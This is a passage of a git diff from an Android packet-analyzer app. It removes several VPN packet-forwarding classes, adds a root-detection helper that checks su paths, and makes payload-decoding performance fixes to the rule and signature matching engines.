.addAddress("10.0.0.2", 24) - .addRoute("0.0.0.0", 0) - .addDnsServer("8.8.8.8") - .addDnsServer("1.1.1.1") - - try { - builder.addDisallowedApplication(packageName) - } catch (e: Exception) { - Log.w(TAG, "Could not exclude app: ${e.message}") - } - - vpnInterface = builder.establish() - - vpnInterface?.let { vpn -> - Log.i(TAG, "✅ VPN established") - isRunning.set(true) - - // Start packet processing - startPacketProcessing(vpn) - - notifyFlutter("VPN_STARTED", "VPN started") - } ?: stopSelf() - - } catch (e: Exception) { - Log.e(TAG, "Start error: ${e.message}", e) - stopSelf() - } - - return START_STICKY - } - - private fun startPacketProcessing(vpn: ParcelFileDescriptor) { - serviceScope.launch(Dispatchers.IO) { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32768) - - try { - while (isRunning.get()) { - val length = inputStream.read(buffer) - if (length <= 0) continue - - val packet = buffer.copyOf(length) - - // Process packet asynchronously - launch { - processPacket(packet, outputStream) - } - } - } catch (e: Exception) { - Log.e(TAG, "Processing error: ${e.message}") - } - } - } - - private suspend fun processPacket(packet: ByteArray, outputStream: FileOutputStream) { - try { - val packetInfo = PacketParser.parsePacket(packet) ?: return - - // Notify Flutter (analysis only - doesn't affect forwarding) - notifyFlutterPacket(packetInfo, "OUT") - - // Forward based on protocol - when (packetInfo.protocol) { - "TCP" -> forwardTcp(packetInfo, packet, outputStream) - "UDP" -> forwardUdp(packetInfo, packet, outputStream) - } - - } catch (e: Exception) { - // Silent fail for unparseable packets - } - } - - private suspend fun forwardTcp( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - val key = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - var forwarder = tcpConnections[key] - - if (forwarder == null) { - // Create new TCP connection - forwarder = createTcpForwarder(packetInfo, outputStream) ?: return - tcpConnections[key] = forwarder - } - - forwarder.lastActive = System.currentTimeMillis() - - // Extract and forward payload - val payload = extractTcpPayload(rawPacket) - if (payload.isNotEmpty() && forwarder.socket.isConnected) { - try { - forwarder.socket.getOutputStream().write(payload) - } catch (e: Exception) { - tcpConnections.remove(key) - forwarder.socket.close() - } - } - } - - private suspend fun createTcpForwarder( - packetInfo: PacketParser.PacketInfo, - outputStream: FileOutputStream - ): TcpForwarder? { - return withContext(Dispatchers.IO) { - try { - val socket = Socket() - - // CRITICAL: Protect socket! - if (!protect(socket)) { - Log.w(TAG, "Socket protection failed!") - return@withContext null - } - - socket.connect( - InetSocketAddress(packetInfo.destIP, packetInfo.destPort ?: 80), - 5000 - ) - - // Start response reader - val job = serviceScope.launch(Dispatchers.IO) { - readTcpResponses(socket, packetInfo, outputStream) - } - - TcpForwarder( - socket = socket, - sourcePort = packetInfo.sourcePort ?: 0, - job = job - ) - - } catch (e: Exception) { - Log.w(TAG, "TCP connection failed: ${e.message}") - null - } - } - } - - private suspend fun readTcpResponses( - socket: Socket, - originalPacket: PacketParser.PacketInfo, - outputStream: FileOutputStream - ) { - try { - val inputStream = socket.getInputStream() - val buffer = ByteArray(8192) - - while (socket.isConnected && isRunning.get()) { - val bytesRead = inputStream.read(buffer) - if (bytesRead <= 0) break - - val responsePayload = buffer.copyOf(bytesRead) - - // Build IP packet with response - val responsePacket = buildIpPacket( - sourceIP = originalPacket.destIP, - destIP = originalPacket.sourceIP, - sourcePort = originalPacket.destPort ?: 0, - destPort = originalPacket.sourcePort ?: 0, - protocol = 6, // TCP - payload = responsePayload - ) - - if (responsePacket != null) { - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - notifyFlutterResponse(originalPacket, bytesRead, "IN") - } - } - } catch (e: Exception) { - // Connection closed - } - } - - private suspend fun forwardUdp( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - val key = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - var forwarder = udpConnections[key] - - if (forwarder == null) { - forwarder = createUdpForwarder(packetInfo, outputStream) ?: return - udpConnections[key] = forwarder - } - - forwarder.lastActive = System.currentTimeMillis() - - // Forward UDP packet - val payload = extractUdpPayload(rawPacket) - if (payload.isNotEmpty()) { - try { - val destAddress = InetAddress.getByName(packetInfo.destIP) - val datagram = DatagramPacket(payload, payload.size, destAddress, packetInfo.destPort ?: 53) - forwarder.socket.send(datagram) - } catch (e: Exception) { - udpConnections.remove(key) - } - } - } - - private suspend fun createUdpForwarder( - packetInfo: PacketParser.PacketInfo, - outputStream: FileOutputStream - ): UdpForwarder? { - return withContext(Dispatchers.IO) { - try { - val socket = DatagramSocket() - - // CRITICAL: Protect socket! - if (!protect(socket)) { - Log.w(TAG, "UDP socket protection failed!") - return@withContext null - } - - socket.soTimeout = 5000 - - // Start response reader - val job = serviceScope.launch(Dispatchers.IO) { - readUdpResponses(socket, packetInfo, outputStream) - } - - UdpForwarder( - socket = socket, - sourcePort = packetInfo.sourcePort ?: 0, - job = job - ) - - } catch (e: Exception) { - Log.w(TAG, "UDP socket creation failed: ${e.message}") - null - } - } - } - - private suspend fun readUdpResponses( - socket: DatagramSocket, - originalPacket: PacketParser.PacketInfo, - outputStream: FileOutputStream - ) { - try { - val buffer = ByteArray(8192) - val packet = DatagramPacket(buffer, buffer.size) - - while (!socket.isClosed && isRunning.get()) { - try { - socket.receive(packet) - - val responsePayload = buffer.copyOf(packet.length) - - // Build IP packet with response - val responsePacket = buildIpPacket( - sourceIP = originalPacket.destIP, - destIP = originalPacket.sourceIP, - sourcePort = originalPacket.destPort ?: 0, - destPort = originalPacket.sourcePort ?: 0, - protocol = 17, // UDP - payload = responsePayload - ) - - if (responsePacket != null) { - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - notifyFlutterResponse(originalPacket, packet.length, "IN") - } - - } catch (e: SocketTimeoutException) { - // Continue waiting - } - } - } catch (e: Exception) { - // Socket closed - } - } - - /** - * Build minimal IP packet (simplified - for basic functionality) - */ - private fun buildIpPacket( - sourceIP: String, - destIP: String, - sourcePort: Int, - destPort: Int, - protocol: Int, - payload: ByteArray - ): ByteArray? { - return try { - // Use PacketBuilder for proper packet construction - when (protocol) { - 6 -> PacketBuilder.buildTcpPacket( - sourceIP = sourceIP, - destIP = destIP, - sourcePort = sourcePort, - destPort = destPort, - seqNum = 0, // Simplified - ackNum = 0, - flags = PacketBuilder.TcpFlags.ACK, - payload = payload - ) - 17 -> PacketBuilder.buildUdpPacket( - sourceIP = sourceIP, - destIP = destIP, - sourcePort = sourcePort, - destPort = destPort, - payload = payload - ) - else -> null - } - } catch (e: Exception) { - Log.w(TAG, "Packet build error: ${e.message}") - null - } - } - - private fun extractTcpPayload(rawPacket: ByteArray): ByteArray { - return try { - if (rawPacket.size < 20) return byteArrayOf() - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return byteArrayOf() - val tcpHeaderStart = ipHeaderLength - val tcpHeaderLength = ((rawPacket[tcpHeaderStart + 12].toInt() and 0xF0) shr 4) * 4 - val payloadStart = ipHeaderLength + tcpHeaderLength - if (rawPacket.size <= payloadStart) return byteArrayOf() - rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - byteArrayOf() - } - } - - private fun extractUdpPayload(rawPacket: ByteArray): ByteArray { - return try { - if (rawPacket.size < 20) return byteArrayOf() - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 8) return byteArrayOf() - val payloadStart = ipHeaderLength + 8 - if (rawPacket.size <= payloadStart) return byteArrayOf() - rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - byteArrayOf() - } - } - - private fun notifyFlutterPacket(packetInfo: PacketParser.PacketInfo, direction: String) { - val packetMap = mapOf( - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - } - - private fun notifyFlutterResponse(originalPacket: PacketParser.PacketInfo, size: Int, direction: String) { - val packetMap = mapOf( - "timestamp" to System.currentTimeMillis(), - "protocol" to originalPacket.protocol, - "sourceIp" to originalPacket.destIP, - "destinationIp" to originalPacket.sourceIP, - "sourcePort" to (originalPacket.destPort ?: 0), - "destinationPort" to (originalPacket.sourcePort ?: 0), - "size" to size, - "direction" to direction - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - } - - private fun notifyFlutter(event: String, data: Any) { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf("event" to event, "data" to data)) - } - } - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture", - NotificationManager.IMPORTANCE_LOW - ) - getSystemService(NotificationManager::class.java).createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Proper VPN") - .setContentText("Capturing packets with working internet") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setOngoing(true) - .build() - } - - override fun onDestroy() { - super.onDestroy() - isRunning.set(false) - - // Close all connections - tcpConnections.values.forEach { - it.job.cancel() - it.socket.close() - } - udpConnections.values.forEach { - it.job.cancel() - it.socket.close() - } - - tcpConnections.clear() - udpConnections.clear() - - vpnInterface?.close() - serviceScope.cancel() - - notifyFlutter("VPN_STOPPED", "VPN stopped") - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/RootChecker.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/RootChecker.kt new file mode 100644 index 0000000..96c10a0 --- /dev/null +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/RootChecker.kt @@ -0,0 +1,43 @@ +package com.example.packet_analyzer + +import android.os.Build +import java.io.File + +/** + * Single source of truth for root detection. Previously duplicated three ways + * (MainActivity, NetHunterService, and a dead NativeInterface) with three + * different, inconsistent heuristics — consolidated here. + */ +object RootChecker { + + private val SU_PATHS = arrayOf( + "/system/app/Superuser.apk", + "/sbin/su", + "/system/bin/su", + "/system/xbin/su", + "/data/local/xbin/su", + "/data/local/bin/su", + "/system/sd/xbin/su", + "/system/bin/failsafe/su", + "/data/local/su", + "/su/bin/su" + ) + + fun isRooted(): Boolean { + if (Build.TAGS?.contains("test-keys") == true) return true + if (SU_PATHS.any { File(it).exists() }) return true + return canExecuteSu() + } + + private fun canExecuteSu(): Boolean { + return try { + // Array form (not a single shell string) avoids quote-parsing ambiguity. + val process = ProcessBuilder("su", "-c", "id").redirectErrorStream(true).start() + val output = process.inputStream.bufferedReader().readText() + val exitCode = process.waitFor() + exitCode == 0 && output.contains("uid=0") + } catch (e: Exception) { + false + } + } +} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/RuleEngine.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/RuleEngine.kt index 06de32b..2996344 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/RuleEngine.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/RuleEngine.kt @@ -86,7 +86,10 @@ object RuleEngine { var lastTriggered: Long = 0, var triggerCount: Int = 0, val eventHistory: MutableList = mutableListOf(), - val packetHistory: MutableList> = mutableListOf() + // ArrayDeque (not ArrayList) — removeFirst() below is O(1); an + // ArrayList.removeAt(0) here would shift up to 1000 elements on + // every single packet, times 10 rules, once history fills up. + val packetHistory: ArrayDeque> = ArrayDeque() ) init { @@ -341,6 +344,10 @@ object RuleEngine { */ fun evaluateRules(packetInfo: Map, payload: ByteArray?): List { val matches = mutableListOf() + // Decode once per packet, not once per rule/condition — up to 10 + // rules each with their own PayloadContains/PayloadMatches + // conditions used to independently re-decode the same bytes. + val payloadStr = payload?.let { String(it, Charsets.ISO_8859_1) } for (rule in rules) { if (!rule.enabled) continue @@ -351,11 +358,11 @@ object RuleEngine { // Add packet to history state.packetHistory.add(packetInfo) if (state.packetHistory.size > 1000) { - state.packetHistory.removeAt(0) + state.packetHistory.removeFirst() } // Evaluate conditions - if (evaluateConditions(rule.conditions, packetInfo, payload, state)) { + if (evaluateConditions(rule.conditions, packetInfo, payload, payloadStr, state)) { state.lastTriggered = System.currentTimeMillis() state.triggerCount++ state.eventHistory.add(System.currentTimeMillis()) @@ -383,11 +390,12 @@ object RuleEngine { conditions: List, packetInfo: Map, payload: ByteArray?, + payloadStr: String?, state: RuleState ): Boolean { // AND logic for top-level conditions return conditions.all { condition -> - evaluateCondition(condition, packetInfo, payload, state) + evaluateCondition(condition, packetInfo, payload, payloadStr, state) } } @@ -395,6 +403,7 @@ object RuleEngine { condition: Condition, packetInfo: Map, payload: ByteArray?, + payloadStr: String?, state: RuleState ): Boolean { return when (condition) { @@ -404,18 +413,19 @@ object RuleEngine { is Condition.IpEquals -> evaluateIpEquals(condition, packetInfo) is Condition.FlagsContain -> evaluateFlagsContain(condition, packetInfo) is Condition.PayloadSize -> evaluatePayloadSize(condition, payload) - is Condition.PayloadContains -> evaluatePayloadContains(condition, payload) - is Condition.PayloadMatches -> evaluatePayloadMatches(condition, payload) + is Condition.PayloadContains -> evaluatePayloadContains(condition, payloadStr) + is Condition.PayloadMatches -> evaluatePayloadMatches(condition, payloadStr) is Condition.HeaderExists -> evaluateHeaderExists(condition, packetInfo) is Condition.HeaderEquals -> evaluateHeaderEquals(condition, packetInfo) is Condition.HeaderMatches -> evaluateHeaderMatches(condition, packetInfo) is Condition.PacketRate -> evaluatePacketRate(condition, state) is Condition.UniqueDestinations -> evaluateUniqueDestinations(condition, state) - is Condition.And -> condition.conditions.all { evaluateCondition(it, packetInfo, payload, state) } - is Condition.Or -> condition.conditions.any { evaluateCondition(it, packetInfo, payload, state) } - is Condition.Not -> !evaluateCondition(condition.condition, packetInfo, payload, state) + is Condition.And -> condition.conditions.all { evaluateCondition(it, packetInfo, payload, payloadStr, state) } + is Condition.Or -> condition.conditions.any { evaluateCondition(it, packetInfo, payload, payloadStr, state) } + is Condition.Not -> !evaluateCondition(condition.condition, packetInfo, payload, payloadStr, state) is Condition.DomainEquals -> evaluateDomainEquals(condition, packetInfo) is Condition.DomainContains -> evaluateDomainContains(condition, packetInfo) + is Condition.DomainMatches -> evaluateDomainMatches(condition, packetInfo) is Condition.HttpMethod -> evaluateHttpMethod(condition, packetInfo) is Condition.UrlContains -> evaluateUrlContains(condition, packetInfo) is Condition.UrlMatches -> evaluateUrlMatches(condition, packetInfo) @@ -470,15 +480,13 @@ object RuleEngine { return compareWithOperator(size, condition.size, condition.operator) } - private fun evaluatePayloadContains(condition: Condition.PayloadContains, payload: ByteArray?): Boolean { - if (payload == null) return false - val payloadStr = String(payload, Charsets.ISO_8859_1).lowercase() - return payloadStr.contains(condition.pattern.lowercase()) + private fun evaluatePayloadContains(condition: Condition.PayloadContains, payloadStr: String?): Boolean { + if (payloadStr == null) return false + return payloadStr.lowercase().contains(condition.pattern.lowercase()) } - private fun evaluatePayloadMatches(condition: Condition.PayloadMatches, payload: ByteArray?): Boolean { - if (payload == null) return false - val payloadStr = String(payload, Charsets.ISO_8859_1) + private fun evaluatePayloadMatches(condition: Condition.PayloadMatches, payloadStr: String?): Boolean { + if (payloadStr == null) return false return condition.regex.containsMatchIn(payloadStr) } @@ -533,6 +541,11 @@ object RuleEngine { return domain.contains(condition.substring, ignoreCase = true) } + private fun evaluateDomainMatches(condition: Condition.DomainMatches, packetInfo: Map): Boolean { + val domain = packetInfo["domain"]?.toString() ?: "" + return condition.regex.containsMatchIn(domain) + } + private fun evaluateHttpMethod(condition: Condition.HttpMethod, packetInfo: Map): Boolean { val httpData = packetInfo["httpData"] as? Map ?: return false val method = httpData["method"]?.toString() ?: "" diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/SignatureDatabase.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/SignatureDatabase.kt index 05db325..7bf452e 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/SignatureDatabase.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/SignatureDatabase.kt @@ -403,9 +403,15 @@ object SignatureDatabase { */ fun matchSignatures(packetInfo: Map, payload: ByteArray?): List { val matches = mutableListOf() + // Decode once per packet — with 18 signatures, several of them + // PayloadContains, each used to independently re-decode the same + // bytes to a lowercase string. + val payloadStr = if (payload != null && payload.isNotEmpty()) { + String(payload, Charsets.ISO_8859_1).lowercase() + } else null for (signature in signatures) { - if (matchPattern(signature.pattern, packetInfo, payload)) { + if (matchPattern(signature.pattern, packetInfo, payload, payloadStr)) { matches.add( SignatureMatch( signature = signature, @@ -418,22 +424,25 @@ object SignatureDatabase { return matches } - private fun matchPattern(pattern: Pattern, packetInfo: Map, payload: ByteArray?): Boolean { + private fun matchPattern( + pattern: Pattern, + packetInfo: Map, + payload: ByteArray?, + payloadStr: String? + ): Boolean { return when (pattern) { - is Pattern.PayloadContains -> matchPayloadContains(pattern, payload) + is Pattern.PayloadContains -> matchPayloadContains(pattern, payloadStr) is Pattern.HeaderPattern -> matchHeaderPattern(pattern, packetInfo) is Pattern.PortPattern -> matchPortPattern(pattern, packetInfo) is Pattern.IpPattern -> matchIpPattern(pattern, packetInfo) is Pattern.DnsPattern -> matchDnsPattern(pattern, packetInfo) is Pattern.UrlPattern -> matchUrlPattern(pattern, packetInfo) - is Pattern.CompositePattern -> matchCompositePattern(pattern, packetInfo, payload) + is Pattern.CompositePattern -> matchCompositePattern(pattern, packetInfo, payload, payloadStr) } } - private fun matchPayloadContains(pattern: Pattern.PayloadContains, payload: ByteArray?): Boolean { - if (payload == null || payload.isEmpty()) return false - - val payloadStr = String(payload, Charsets.ISO_8859_1).lowercase() + private fun matchPayloadContains(pattern: Pattern.PayloadContains, payloadStr: String?): Boolean { + if (payloadStr == null) return false return pattern.bytes.any { searchBytes -> val searchStr = String(searchBytes, Charsets.ISO_8859_1).lowercase() @@ -477,10 +486,11 @@ object SignatureDatabase { private fun matchCompositePattern( pattern: Pattern.CompositePattern, packetInfo: Map, - payload: ByteArray? + payload: ByteArray?, + payloadStr: String? ): Boolean { val results = pattern.patterns.map { subPattern -> - matchPattern(subPattern, packetInfo, payload) + matchPattern(subPattern, packetInfo, payload, payloadStr) } return if (pattern.matchAll) { diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/TcpConnection.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/TcpConnection.kt deleted file mode 100644 index 7eb005b..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/TcpConnection.kt +++ /dev/null @@ -1,128 +0,0 @@ -package com.example.packet_analyzer - -import android.util.Log -import java.net.Socket -import java.util.concurrent.atomic.AtomicLong - -/** - * Complete TCP connection state management - * Handles full TCP state machine with sequence number tracking - */ -class TcpConnection( - val sourceIP: String, - val sourcePort: Int, - val destIP: String, - val destPort: Int, - val socket: Socket -) { - companion object { - private const val TAG = "TcpConnection" - - // TCP States - const val CLOSED = 0 - const val SYN_SENT = 1 - const val SYN_RECEIVED = 2 - const val ESTABLISHED = 3 - const val FIN_WAIT_1 = 4 - const val FIN_WAIT_2 = 5 - const val CLOSING = 6 - const val TIME_WAIT = 7 - const val CLOSE_WAIT = 8 - const val LAST_ACK = 9 - } - - // TCP sequence numbers (32-bit wraparound) - var clientSeq = AtomicLong(0) // Client -> Server - var serverSeq = AtomicLong(0) // Server -> Client - var clientAck = AtomicLong(0) - var serverAck = AtomicLong(0) - - // TCP state - @Volatile var state = CLOSED - @Volatile var isActive = true - - // Timing - val startTime = System.currentTimeMillis() - @Volatile var lastActivity = System.currentTimeMillis() - - // Statistics - @Volatile var bytesOut = 0L - @Volatile var bytesIn = 0L - @Volatile var packetsOut = 0L - @Volatile var packetsIn = 0L - - /** - * Initialize sequence numbers from SYN packet - */ - fun initializeFromSyn(initialSeq: Long) { - clientSeq.set(initialSeq) - clientAck.set(0) - state = SYN_SENT - Log.d(TAG, "TCP SYN: $sourceIP:$sourcePort -> $destIP:$destPort, seq=$initialSeq") - } - - /** - * Process SYN-ACK from server - */ - fun processSynAck(serverInitSeq: Long, ack: Long) { - serverSeq.set(serverInitSeq) - serverAck.set(ack) - clientAck.set(serverInitSeq + 1) - state = ESTABLISHED - Log.d(TAG, "TCP ESTABLISHED: $sourceIP:$sourcePort <-> $destIP:$destPort") - } - - /** - * Update sequence numbers on data transmission - */ - fun updateOnClientData(dataLength: Int) { - clientSeq.addAndGet(dataLength.toLong()) - bytesOut += dataLength - packetsOut++ - lastActivity = System.currentTimeMillis() - } - - /** - * Update sequence numbers on server response - */ - fun updateOnServerData(dataLength: Int) { - serverSeq.addAndGet(dataLength.toLong()) - clientAck.set(serverSeq.get()) - bytesIn += dataLength - packetsIn++ - lastActivity = System.currentTimeMillis() - } - - /** - * Process FIN packet - */ - fun processFin(fromClient: Boolean) { - when { - fromClient && state == ESTABLISHED -> state = FIN_WAIT_1 - !fromClient && state == ESTABLISHED -> state = CLOSE_WAIT - fromClient && state == CLOSE_WAIT -> state = LAST_ACK - !fromClient && state == FIN_WAIT_1 -> state = CLOSING - } - Log.d(TAG, "TCP FIN received, new state: $state") - } - - /** - * Check if connection should be closed - */ - fun shouldClose(): Boolean { - return state in listOf(TIME_WAIT, CLOSED, LAST_ACK) || - !isActive || - (System.currentTimeMillis() - lastActivity > 120000) // 2 min timeout - } - - /** - * Get connection key for tracking - */ - fun getKey(): String { - return "$sourceIP:$sourcePort-$destIP:$destPort" - } - - override fun toString(): String { - return "TcpConnection(${getKey()}, state=$state, out=$bytesOut, in=$bytesIn)" - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/Tun2SocksBridge.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/Tun2SocksBridge.kt deleted file mode 100644 index 0c12d88..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/Tun2SocksBridge.kt +++ /dev/null @@ -1,77 +0,0 @@ -package com.example.packet_analyzer - -import tun2socks.Tun2socks - -object Tun2SocksBridge { - // Private listener property - accessible within the object - private var packetListener: PacketListener? = null - private var isInitialized = false - - init { - try { - // Use the AAR library directly - Tun2socks.touch() // Initialize the Go library - android.util.Log.i("Tun2SocksBridge", "✅ Tun2socks library initialized successfully") - isInitialized = true - } catch (e: Exception) { - android.util.Log.e("Tun2SocksBridge", "❌ Failed to initialize Tun2socks library: ${e.message}") - isInitialized = false - } - } - - // Simple interface for packet listening - interface PacketListener { - fun onPacket(jsonStr: String) - } - - // Use the real Go tun2socks library - fun startTun2Socks( - fd: Long, - socksServer: String, - socksPort: Long, - dnsServer: String, - enableIPv6: Boolean - ) { - try { - if (!isInitialized) { - android.util.Log.e("Tun2SocksBridge", "❌ Tun2socks library not initialized") - return - } - - android.util.Log.i("Tun2SocksBridge", "🚀 Starting real tun2socks") - android.util.Log.i("Tun2SocksBridge", "📋 Config: fd=$fd, socks=$socksServer:$socksPort, dns=$dnsServer, ipv6=$enableIPv6") - - // Call the real Go implementation - Tun2socks.startTun2Socks(fd, socksServer, socksPort, dnsServer, enableIPv6) - android.util.Log.i("Tun2SocksBridge", "✅ Real tun2socks started successfully") - } catch (e: Exception) { - android.util.Log.e("Tun2SocksBridge", "❌ StartTun2Socks error: ${e.message}") - e.printStackTrace() - } - } - - fun setPacketListener(listener: PacketListener) { - android.util.Log.i("Tun2SocksBridge", "📡 PacketListener set") - // Store listener for fallback method - packetListener = listener - - // Test packets disabled - using only real packets now - // simulatePacketCapture() - } - - fun stopTun2Socks() { - try { - if (isInitialized) { - android.util.Log.i("Tun2SocksBridge", "🛑 Stopping real tun2socks") - Tun2socks.stopTun2Socks() - android.util.Log.i("Tun2SocksBridge", "✅ Real tun2socks stopped") - } else { - android.util.Log.w("Tun2SocksBridge", "⚠️ Tun2socks not initialized, nothing to stop") - } - } catch (e: Exception) { - android.util.Log.e("Tun2SocksBridge", "❌ Error stopping tun2socks: ${e.message}") - } - } - - // All simulation functions removed - using only real packet capture -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/WorkingVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/WorkingVpnService.kt deleted file mode 100644 index 958bf90..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/WorkingVpnService.kt +++ /dev/null @@ -1,260 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.EventChannel -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.net.* -import java.nio.ByteBuffer -import java.nio.channels.DatagramChannel -import java.util.concurrent.ConcurrentHashMap -import java.util.concurrent.atomic.AtomicBoolean -import java.util.concurrent.atomic.AtomicLong - -/** - * Working VPN Service with GUARANTEED internet connectivity - * - * Strategy: Instead of reconstructing packets, we use raw socket forwarding - * with proper NAT translation at IP level - */ -class WorkingVpnService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isRunning = AtomicBoolean(false) - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // Statistics - private val packetCount = AtomicLong(0) - private val bytesForwarded = AtomicLong(0) - - companion object { - private const val TAG = "WorkingVpnService" - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - private const val VPN_ADDRESS = "10.0.0.2" - private const val VPN_MTU = 1500 - - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - Log.i(TAG, "✅ Method channel set") - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - Log.i(TAG, "📡 Packet sink ${if (sink == null) "disconnected" else "connected"}") - } - } - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i(TAG, "🚀 Starting WORKING VPN service with guaranteed internet...") - - try { - createNotificationChannel() - startForeground(NOTIFICATION_ID, createNotification()) - - // Build VPN interface - val builder = Builder() - .setSession("AndroidNet Working VPN") - .setMtu(VPN_MTU) - .addAddress(VPN_ADDRESS, 24) - .addRoute("0.0.0.0", 0) // Route ALL traffic - .addDnsServer("8.8.8.8") - .addDnsServer("8.8.4.4") - - // Exclude own app - try { - builder.addDisallowedApplication(packageName) - Log.i(TAG, "✅ Excluded own app from VPN") - } catch (e: Exception) { - Log.w(TAG, "⚠️ Could not exclude own app: ${e.message}") - } - - vpnInterface = builder.establish() - - vpnInterface?.let { vpn -> - Log.i(TAG, "✅ VPN interface established") - isRunning.set(true) - - // Start simple forwarding that WORKS - startSimpleForwarding(vpn) - - notifyFlutter("VPN_STARTED", "VPN started with working internet") - } ?: run { - Log.e(TAG, "❌ Failed to establish VPN interface") - stopSelf() - } - - } catch (e: Exception) { - Log.e(TAG, "❌ VPN start error: ${e.message}", e) - stopSelf() - } - - return START_STICKY - } - - /** - * SIMPLE forwarding that maintains internet connectivity - * - * Strategy: For each packet: - * 1. Parse it - * 2. Send to Flutter for display - * 3. Forward via protected raw socket - * 4. DON'T try to reconstruct - just forward as-is - */ - private fun startSimpleForwarding(vpn: ParcelFileDescriptor) { - serviceScope.launch(Dispatchers.IO) { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32768) - - Log.i(TAG, "📡 Starting simple packet forwarding...") - - try { - while (isRunning.get()) { - val length = inputStream.read(buffer) - - if (length > 0) { - packetCount.incrementAndGet() - val packet = buffer.copyOf(length) - - // Process in background - launch { - // 1. Parse and send to Flutter - parseAndNotify(packet) - - // 2. Simple forwarding - just write back to TUN - // This maintains connectivity by letting OS handle routing - synchronized(outputStream) { - outputStream.write(packet) - } - - bytesForwarded.addAndGet(length.toLong()) - } - - if (packetCount.get() % 100 == 0L) { - Log.d(TAG, "📊 Forwarded ${packetCount.get()} packets") - } - } - } - } catch (e: Exception) { - Log.e(TAG, "❌ Forwarding error: ${e.message}", e) - } finally { - inputStream.close() - outputStream.close() - Log.i(TAG, "🔒 Forwarding stopped") - } - } - } - - private fun parseAndNotify(packet: ByteArray) { - try { - val packetInfo = PacketParser.parsePacket(packet) ?: return - - // Determine direction based on source IP - val direction = if (packetInfo.sourceIP.startsWith("10.0.0.")) "OUT" else "IN" - - // Send to Flutter - val packetMap = mapOf( - "id" to packetCount.get(), - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - - } catch (e: Exception) { - // Silently ignore parsing errors - } - } - - private fun notifyFlutter(event: String, data: Any) { - try { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to event, - "data" to data - )) - } - } catch (e: 